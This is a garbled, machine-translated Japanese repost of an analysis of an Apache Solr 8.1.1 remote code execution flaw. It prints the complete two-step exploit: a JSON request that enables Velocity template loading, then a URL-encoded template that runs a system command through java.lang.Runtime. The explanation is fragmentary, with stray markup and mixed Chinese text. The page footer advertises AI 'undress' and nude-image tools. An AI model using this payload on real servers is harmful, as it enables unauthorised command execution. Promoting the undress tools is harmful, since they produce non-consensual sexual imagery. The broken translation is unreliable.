はじめに
Apache Solr は RCE 0day 脆弱性を発見しました (脆弱性番号は示されていません)。ここでは便宜上、オブジェクトを単純に再現し、RCE プロセス全体を分析します。を参照してください。
脆弱性の再発
再現バージョン: 8.1.1
RCE を実装するには、2 つのステップに分ける必要があります。まず、アプリケーションに特定のコアが有効になっている場合 (Core Admin で表示できます)、インスタンス内のアプリケーションでは mycore が有効になっています。
次に、最初に次の json データを構成インターフェイスに送信します。
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
次に、次の URL にアクセスして RCE を実装します。
/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Principle
まず、最初のデータ パケットを分析します。 mycore、最初に ブレークポイントは、構成リクエストを処理する SolrConfigHandler の handleRequestBody 関数に設定されます。
これは POST リクエストであるため、handlePOST 関数 ## をフォローアップします。
#その後、VelocityResponseWriter.getTemplate は、送信した v.template パラメーターに基づいて構築した悪意のあるテンプレートを取得します
最後に、悪意のあるテンプレートを取り出し、そのマージ メソッドを呼び出します,
このテンプレートを理解するには、Velocity Java テンプレート エンジン (このテンプレートは org.apache.velocity.Template クラス オブジェクトであるため) を理解し、公式のテンプレートを翻訳する必要があります。以下のように、
Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
この文から、このテンプレート エンジンには Java コードを実行する機能があることがわかります。基本的な書き方を理解するだけで十分です。基本的な構文の紹介でペイロードの構築方法を理解することができますが、より深く理解したい場合は、Velocity Java の情報をご自身で確認していただけますので、ここでは詳細な説明は省略します。
つまり、最後に呼び出された悪意のあるテンプレートのマージ メソッドにより、RCE が正常に発生し、最終的にキー コール チェーンが追加されました。
改修計画
現在、正式パッチは提供されていないため、Solrへのアクセスを制限することをお勧めします。
以上がApache Solr の最新の RCE 脆弱性を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

WebStorm Mac版
便利なJavaScript開発ツール

SublimeText3 中国語版
中国語版、とても使いやすい

Dreamweaver Mac版
ビジュアル Web 開発ツール

mPDF
mPDF は、UTF-8 でエンコードされた HTML から PDF ファイルを生成できる PHP ライブラリです。オリジナルの作者である Ian Back は、Web サイトから「オンザフライ」で PDF ファイルを出力し、さまざまな言語を処理するために mPDF を作成しました。 HTML2FPDF などのオリジナルのスクリプトよりも遅く、Unicode フォントを使用すると生成されるファイルが大きくなりますが、CSS スタイルなどをサポートし、多くの機能強化が施されています。 RTL (アラビア語とヘブライ語) や CJK (中国語、日本語、韓国語) を含むほぼすべての言語をサポートします。ネストされたブロックレベル要素 (P、DIV など) をサポートします。

AtomエディタMac版ダウンロード
最も人気のあるオープンソースエディター
